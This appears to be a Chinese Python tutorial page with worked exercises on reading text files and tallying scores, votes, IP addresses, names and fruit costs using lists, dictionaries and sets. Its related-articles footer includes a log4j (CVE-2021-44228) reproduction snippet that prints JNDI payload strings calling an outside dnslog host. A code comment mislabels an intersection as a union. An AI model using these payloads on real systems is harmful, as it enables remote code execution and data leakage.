读取文件例题总结 python

主要是读取文件的操作,结合字典,列表,集合的综合例题

主要思路:先看文件结构 根据文件结构 划分 然后保存到列表中(一般是二维列表) 然后再保存到字典中进行一些列操作

1…学生成绩分析

#1.学生成绩分析
'''
小明,98
小刚,90
小红,91
小王,98
小刘,80
***可以看出每行都有两个数据 以逗号隔开 然后就是换行符了***

'''
#先打开文件
f=open('score.txt','r',encoding='utf-8')
#读取文件内容
# content=f.readlines() #['小明,98\n', '小刚,90\n', '小红,91\n', '小王,98\n', '小刘,80']
#可以看出 格式和上面分析的一样 所以先去除换行符,再按逗号隔开
#综上 可以用列表推导式简写
lst=[i.strip().split(',') for i in f.readlines()] #现在的lst就是名字和成绩的一个二维列表了[['小明', '98'], ['小刚', '90'], ['小红', '91'], ['小王', '98'], ['小刘', '80']]
#现在就可以对这个二维列表进行分析了
#因为是个二维列表 所以遍历拿到成绩就行
lst_score=[int(i[1]) for i in lst] #拿到成绩
#1.  最高分和最低分分别是多少?max min
print(max(lst_score),min(lst_score))
#2.  得最高分的学生有几个?   得最低分的学生有几个 count
max_count=lst_score.count(max(lst_score))
min_count=lst_score.count(min(lst_score))
print(max_count,min_count)
#3.  平均分是多少?
print(sum(lst_score)/len(lst_score))

2.学生成绩分析2

# 2. 学生成绩分析2
'''
小明,98,96
小刚,90,94
小红,90,94
小王,98,96
小刘,80,90
小赵,90,96
同理 先分析结构 每行有三个数据 以逗号隔开 然后是换行符
所以如果只是读取数据的话 结构一个是类似于['小明,98,96\n', '小刚,90,94\n', '小红,90,94\n', ']的一维列表

'''


def read_file(file_name):
   with  open(file_name, 'r', encoding='utf-8') as f:
      data = [i.strip().split(',') for i in
              f.readlines()]  # 先去除换行符 再按逗号隔开 [['小明', '98', '96'], ['小刚', '90', '94'], ['小红', '90', '94'], ['小王', '98', '96'], ['小刘', '80', '90'], ['小赵', '90', '96']]
      
      return data


def get_score():
   data = read_file('score2.txt')
   stu_lst = []
   for item in data:
      name = item[0]
      math = int(item[1])
      chinese = int(item[2])
      stu_lst.append({'name': name, 'math': math, 'chinese': chinese})
   
   math_dict = {}
   chinese_dict = {}
   ys_dict = {}
   max_score = 0
   stu_score = 0
   
   for stu in stu_lst:  # 遍历字典
      name = stu['name']
      math = stu['math']
      chinese = stu['chinese']
      score_sum = math + chinese  # 获取每次数学加语文的总分
      stu_score+=score_sum # 获取总分
      if score_sum > max_score:
         max_score = score_sum  # 获取最大分数
      
      chinese_dict.setdefault(chinese, [])
      chinese_dict[chinese].append(name)  # 把语文分数作为key 语文分数相同的学生名字作为value
      
      math_dict.setdefault(math, [])
      math_dict[math].append(name)  # 把数学分数作为key 数学分数相同的学生名字作为value
      
      ys_dict.setdefault((math, chinese), [])
      ys_dict[(math, chinese)].append(name)  # 把数学分数和语文分数作为key 数学分数和语文分数相同的学生名字作为value
   
   for k, v in math_dict.items():
      if len(v) > 1:
         print(f'数学分数为{k}的学生有{v}')
   print('*' * 20)
   for k, v in chinese_dict.items():
      if len(v) > 1:
         print(f'语文分数为{k}的学生有{v}')
   print('*' * 20)
   for k, v in ys_dict.items():
      sum_score=sum(k)
      if sum_score==max_score:
         print(f'总分最高的同学是:{v},分数为{max_score}')
      if len(v) > 1:
         print(f'数学分数为{k[0]} 语文分数为{k[1]}的学生有{v}')
   
   print(f'总平均分是{stu_score/len(stu_lst):.2f}')
   





get_score()

3.投票选班长

'''
文件data里存储了投票选班长的选票情况

小红
小刚
小明
小明
小刚
小刘
小红
小张
小王
小明
分析文件结构 每行有一个数据 以换行符结束
1.  —共有多少人参加了班长选举?
2.  这些人分别得了多少选票?

'''
with open('data.txt', 'r', encoding='utf-8') as f:
   data = [i.strip() for i in
           f.readlines()]  # 这个文件比较简单只需要去除换行符就行了,得到一个一维列表,['小红', '小刚', '小明', '小明', '小刚', '小刘', '小红', '小张', '小王', '小明']
   stu_dic = {}
   for stu in data:
      stu_dic.setdefault(stu, 0)
      stu_dic[stu] += 1
   # 1.  —共有多少人参加了班长选举?
   print(len(stu_dic))
# 2.  这些人分别得了多少选票?
   for k, v in stu_dic.items():
      print(f'{k}得了{v}票')

4.ip地址

# 4.IP地址分析
'''
已知—个文件名为ip.txt的文件,里面存储了大量ip地址
请编写函数,读取文件并分析数据,根据ip出现次数进行排序,程序最终输出ip 和 出现次       数,从小到大
192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.1
192.168.0.4
192.168.0.5
192.168.0.5
192.168.0.2
192.168.0.2
192.168.0.5
分析文件结构 每行有一个数据 以换行符结束
'''
with open('ip.txt', 'r', encoding='utf-8') as f:
   data = [i.strip() for i in
           f.readlines()]  # 这个文件比较简单只需要去除换行符就行了,得到一个一维列表,['192.168.0.1', '192.168.0.2', '192.168.0.3', '192.168.0.1', '192.168.0.4',
   
   # 统计每个ip出现的次数
   dic = {}
   for ip in data:
      dic.setdefault(ip, 0)
      dic[ip] += 1
   
   #对字典进行排序 匿名函数就行
   lst=sorted(dic.items(),key=lambda x:x[1])
   
   # 输出
   for item in lst:
      print(item)

5.含了含有重复的人名,请直接输出出现最多的人名和次数。

'''
双儿 洪七公 赵敏 赵敏 逍遥子 鳌拜 殷天正 金轮法王 乔峰 杨过 洪七公 郭靖
       杨逍 鳌拜 殷天正 段誉 杨逍 慕容复 阿紫 慕容复 郭芙 乔峰 令狐冲 郭芙
       金轮法王 小龙女 杨过 慕容复 梅超风 李莫愁 洪七公 张无忌 梅超风 杨逍
       鳌拜 岳不群 黄药师 黄蓉 段誉 金轮法王 忽必烈 忽必烈 张三丰 乔峰 乔峰
       阿紫 乔峰 金轮法王 袁冠南 张无忌 郭襄 黄蓉 李莫愁 赵敏 赵敏 郭芙 张三丰
       乔峰 赵敏 梅超风 双儿 鳌拜 陈家洛 袁冠南 郭芙 郭芙 杨逍 赵敏 金轮法王
       忽必烈 慕容复 张三丰 赵敏 杨逍 令狐冲 黄药师 袁冠南 杨逍 完颜洪烈 殷天正
       李莫愁 阿紫 逍遥子 乔峰 逍遥子 完颜洪烈 郭芙 杨逍 张无忌 杨过 慕容复
       逍遥子 虚竹 双儿 乔峰 郭芙 黄蓉 李莫愁 陈家洛 杨过 忽必烈 鳌拜 王语嫣
       洪七公 韦小宝 阿朱 梅超风 段誉 岳灵珊 完颜洪烈 乔峰 段誉 杨过 杨过 慕容复
       黄蓉 杨过 阿紫 杨逍 张三丰 张三丰 赵敏 张三丰 杨逍 黄蓉 金轮法王 郭襄
       张三丰 令狐冲 赵敏 郭芙 韦小宝 黄药师 阿紫 韦小宝 金轮法王 杨逍 令狐冲 阿紫
       洪七公 袁冠南 双儿 郭靖 鳌拜 谢逊 阿紫 郭襄 梅超风 张无忌 段誉 忽必烈
       完颜洪烈 双儿 逍遥子 谢逊 完颜洪烈 殷天正 金轮法王 张三丰 双儿 郭襄 阿朱
       郭襄 双儿 李莫愁 郭襄 忽必烈 金轮法王 张无忌 鳌拜 忽必烈 郭襄 令狐冲
       谢逊 梅超风 殷天正 段誉 袁冠南 张三丰 王语嫣 阿紫 谢逊 杨过 郭靖 黄蓉
       双儿 灭绝师太 段誉 张无忌 陈家洛 黄蓉 鳌拜 黄药师 逍遥子 忽必烈 赵敏
       逍遥子 完颜洪烈 金轮法王 双儿 鳌拜 洪七公 郭芙 郭襄 赵敏
       分析文件结构 和前面不同的是 每行有多个数据 以空格隔开 然后是换行符'''
def read_file(filename):
   lst = []
   with open(filename, 'r', encoding='utf-8') as file:  # 指定编码格式为UTF-8
      for line in file:
         # 假设单词之间用空格分隔
         lst.extend(line.strip().split(' ')) #因为这里用的是extend 所以是个一维数组
   return lst


def write_file(filename):
   lst = read_file(filename)
   print(lst)
   # 使用字典统计每个字符出现的次数
   dic = {}
   for item in lst:
      dic.setdefault(item, 0)
      dic[item] += 1
   
   # 找出出现次数最多的字符及其出现次数
   max_value = 0
   name = ''
   for key, value in dic.items():
      if value > max_value:
         max_value = value
         name = key
   
   return f'{name} {max_value}'


if __name__ == '__mai

常规写法

with open('test.txt', 'r', encoding='utf-8') as f:
   # datas=[i.strip() for i in f.readlines()] # 先去除换行符 每行以逗号隔开
   # ['双儿 洪七公 赵敏 赵敏 逍遥子 鳌拜 殷天正 金轮法王 乔峰 杨过 洪七公 郭靖', 得到是这种一维数组
   datas = [i.strip().split(' ') for i in
            f.readlines()]  # [['双儿', '洪七公', '赵敏', '赵敏', '逍遥子', '鳌拜', '殷天正', '金轮法王', '乔峰', '杨过', '洪七公', '郭靖'], 得到的是二维数组

   dic = {}
   for data in datas:
      for item in data: #因为结构和前面的不一样 所以得用双重循环
         dic.setdefault(item, 0)
         dic[item] += 1
   # 输出
# max_count = 0
# max_name = ''
# for k, v in dic.items():
#  if v > max_count:
#     max_count = v
#     max_name = k
# print(max_name, max_count)
#也可以用sorted函数
lst=sorted(dic.items(),key=lambda x:x[1],reverse=True) #降序排序
print(lst[0])

6.水果账单

'''
文件fruits-saturday.txt中保存了小明周六买水果的消费情况
苹果 30.6
 香蕉20.8
 葡萄 15.5
 草莓30.2
 樱桃43.9

请写程序分析

1.  这些水果—共花费了多少钱?
2.  花费最多的水果是哪个

文件fruits-sunday.txt 中保存了小明周日买水果的消费情况
苹果  20.6
香蕉  16.8
樱桃  30.5
大鸭梨  10.5
火龙果  18.8

周六,周日两天,  —共买了多少水果
2.  周六,周日两天都买的水果有哪些?
3.  哪些水果是周日买了而周六没有买的?
4.  两天—共花费了多少钱买水果
5.  哪个水果花费的钱最多,花了多少?

分析文件结构 可以发现每行数据之间用的是空格隔开 然后是换行符


'''


# 读取文件
def read_file(filename):
   info = {}  # 字典 用于存放水果名字和价格
   with open(filename, 'r', encoding='utf-8') as f:
      datas = [i.strip().split() for i in f.readlines()]  # 去除换行符 再按空格隔开')
      for data in datas:
         name = data[0]
         price = float(data[1])
         info[name] = price
   return info


def func1():
   info = read_file('fruits-saturday.txt')
   # 1.这些·水果共花费了多少钱?
   total = 0
   for k, v in info.items():
      total += v
   print(total)
   # 2.花费最多的水果是哪个
   max_price = 0
   max_name = ''
   for k, v in info.items():
      if v > max_price:
         max_price = v
         max_name = k
   print(max_name, max_price)


def func2():
   info1 = read_file('fruits-saturday.txt')
   info2 = read_file('fruits-sunday.txt')
   # 周六,周日两天, 共买了多少水果
   # 用集合更方便
   set1 = set(list(info1.keys()))
   set2 = set(list(info2.keys()))
   print(set1 | set2)
   # 周六,周日两日都买水果有哪些?
   print(set1 & set2)  # 并集
   
   # 哪些水果是周日买了而周六没有买的?
   print(set2 - set1)  # 差集
   
   # 4.两天—共花费了多少钱买水果
   print(sum(list(info1.values())) + sum(list(info2.values())))
   
   # 5.哪个水果花费的钱最多, 花了多少?
   
   name = ''
   max_price = 0
   for k, v in info1.items():
      if v > max_price:
         max_price = v
         name = k

   for k, v in info2.items():
      if v > max_price:
         max_price = v
         name = k
   print(name, max_price)
func1()
func2()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/589576.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

酒水门店私域流量运营搭建执行规划方案

【干货资料持续更新,以防走丢】 酒水门店私域流量运营搭建执行规划方案 部分资料预览 资料部分是网络整理,仅供学习参考。 PPT可编辑(完整资料包含以下内容) 目录 精酿啤酒品牌私域执行运营的内容策划,涉及以下几个…

在做题中学习(48):朴素的二分查找

. - 力扣(LeetCode) 解法一: 暴力求解 for循环中,从nums[0]枚举到nums[n-1],依次判断,返回 target的值。 时间复杂度 : O(N) :因为要遍历一遍数组 解法二:二分查找 因为此数组为有序的…

利用Github发现优质的学习项目网址

1. 直接搜索,star的数量越多的项目质量越高 2.Github Trending 地址: https://github.com/trending 3. Gitstar Ranking 地址: https://gistar-ranking.com/ 4. Awesome Topic 地址: https://github.com/topics/awesome

FIFO Generate IP核使用——Data Counts页详解

在Vivado IDE中,当看到一个用于设置数据计数选项的选项卡时,需要注意的是,尽管某些选项值可能因为当前的配置而显示为灰色(即不可选或已禁用),但IDE中显示的有效范围值实际上是你可以选择的真实值。即使某些…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

莫比乌斯变换的数学原理

一、说明 关于莫比乌斯变换&#xff0c;是一个代数几何变换的重要概念。也是双曲几何的重要理论&#xff0c;比如庞加莱盘就是建立在这个理论上&#xff0c;那么这个变换到底有哪些内容&#xff1f;本文将做出详细的解读。 二、线性变换和逆变换 在本节中&#xff0c;我们研…

# notepad++ 编辑器英文版,如何打开自动换行

notepad 编辑器英文版&#xff0c;如何打开自动换行 在Notepad中&#xff0c;如果你想要开启自动换行功能&#xff0c;可以按照以下步骤操作&#xff1a; 1、打开 Notepad 编辑器。 1.1. 依次点击菜单栏中的【视图】&#xff0c;英文版对应【View】。1.2. 在【视图】下拉菜单…

css---浮动知识点精炼汇总

前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 浮动简单理解与介绍 这是我们普通的页面标签效果。 每个标签从上到下依次排列。 浮动顾名思义就是让这个标签飞翔起来。 他飞起来后&#xff0c;后面的标签来到他的位置上。 而浮动的标签就会显示在标签的上面。…

【译】Celery文档1:First Steps with Celery——安装和配置Celery

https://docs.celeryq.dev/en/stable/getting-started/first-steps-with-celery.html#first-steps Celery的第一步 Celery时一个自带电池的任务队列。 本教程内容&#xff1a; 安装消息传输代理(broker)安装Celery并创建第一个任务(task)启动Celery工作进程(worker)并执行任务…

2021-10-21 51单片机两位数码管显示0-99循环

缘由单片机两位数码管显示0-99循环-编程语言-CSDN问答 #include "REG52.h" #include<intrins.h> sbit K1 P3^0; sbit K2 P3^1; sbit K3 P3^2; sbit K4 P3^3; sbit bpP3^4; bit k1,wk10,wk20; unsigned char code SmZiFu[]{63,6,91,79,102,109,125,7,127,1…

Java高阶私房菜:JVM分代收集算法介绍和各垃圾收集器原理分解

目录 什么是分代收集算法 GC的分类和专业术语 什么是垃圾收集器 垃圾收集器的分类及组合 ​编辑 应关注的核心指标 Serial和ParNew收集器原理 Serial收集器 ParNew收集器 Parallel和CMS收集器原理 Parallel 收集器 CMS收集器 新一代垃圾收集器G1和ZGC G1垃圾收集器…

设计模式之MVC模式

在编程江湖闯荡多年&#xff0c;我手中打磨过的设计模式多如繁星&#xff0c;但论及经典与实用&#xff0c; MVC&#xff08;Model-View-Controller&#xff09;模式 绝对是个中翘楚&#xff01;它不仅是Web应用的骨架&#xff0c;更是软件架构的智慧结晶。今天&#xff0c;咱们…

DRF解析器源码分析

DRF解析器源码分析 1 解析器 解析请求者发来的数据&#xff08;JSON&#xff09; 使用 request.data 获取请求体中的数据。 这个 reqeust.data 的数据怎么来的呢&#xff1f;其实在drf内部是由解析器&#xff0c;根据请求者传入的数据格式 请求头来进行处理。 drf默认的解…

leetcode刷题记录—回溯

目录 22. 括号生成 39. 组合总和 46. 全排列 77. 组合 79. 单次搜索 回溯全集 22. 括号生成 数字 n 代表生成括号的对数&#xff0c;请你设计一个函数&#xff0c;用于能够生成所有可能的并且 有效的 括号组合。 示例 1&#xff1a; 输入&#xff1a;n 3 输出&#xff1a;[&qu…

三维坐标点按剖面分类

一、写在前面 ①配套文件&#xff1a;根据剖面对三维坐标点&#xff08;X,Y,Z&#xff09;分类资源-CSDN文库 ②脱敏处理&#xff1a;蚀变数据已采用随机数生成覆盖 ③剖面坐标按顺序排列在“剖面坐标点.xlsx”文件中 二、3点确定空间中平面方程 原理&#xff1a; 设3点A&…

达梦(DM) SQL聚集函数及日期运算操作

达梦DM SQL聚集函数及日期运算操作 聚集函数MAX、MIN、SUM、AVG、COUNT使用分析函数 sum (…) over (order by…) 可以生成累计和更改累计和的值计算出现次数最多的值 日期运算加减日、月、年加减时、分、秒日期间隔之时、分、秒日期间隔之日、月、年求两个日期间的工作天数确定…

uniapp 异步加载级联选择器(Cascader,data-picke)

目录 Props 事件方法 inputChange事件回调参数说明&#xff1a; completeChange事件回调参数说明&#xff1a; temList 属性Object参数说明 defaultItemList 属性Object参数说明 在template中使用 由于uniapp uni-ui的data-picke 不支持异步作者自己写了一个 插件市场下…

VBA技术资料MF147:从Excel运行PowerPoint演示文稿

我给VBA的定义&#xff1a;VBA是个人小型自动化处理的有效工具。利用好了&#xff0c;可以大大提高自己的工作效率&#xff0c;而且可以提高数据的准确度。“VBA语言専攻”提供的教程一共九套&#xff0c;分为初级、中级、高级三大部分&#xff0c;教程是对VBA的系统讲解&#…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

DHCPv4_CLIENT_SUMMARY_03:接收至少包含312个八位字节长度的‘options‘字段的DHCP消息

测试目的&#xff1a; 验证DHCP客户端是否能够接收至少312个八位字节长度的’options’字段的DHCP消息。 描述&#xff1a; 本测试用例旨在确保DHCP客户端准备接收包含至少312个八位字节&#xff08;即312 octets&#xff09;长度的’options’字段的DHCP消息。这意味着DHCP…
最新文章